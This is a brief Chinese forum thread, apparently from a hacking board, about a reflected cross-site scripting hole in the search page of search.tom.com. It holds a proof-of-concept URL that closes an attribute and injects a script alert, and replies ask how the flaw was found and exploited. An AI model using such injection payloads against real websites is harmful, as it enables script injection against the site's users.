TOM也跨站！
测试代码

复制内容到剪贴板

代码:

http://search.tom.com/s.php?w="><script>alert('bk7477890');</script><"

呵呵，怎么没有人顶？版主就是版主！发的贴都不一样。发帖质量这么好，还没有人顶。
不过想问一下版主，你是怎么想起要找它的漏洞的？而且还花了点心思，我想你开始使用的语句应该是<script > alert ("")</script>,然后才是想到闭合的吧？可是这个跨站漏洞是在搜索框里，应该怎样用呢？

.....
LS啊，我不知道咋回答了
TO：鬼鬼||3：2||了
帮给忙啊，M我

郁闷,我才一天没上你就跨这么多了~
搜狐一直没跨出来`你去看下~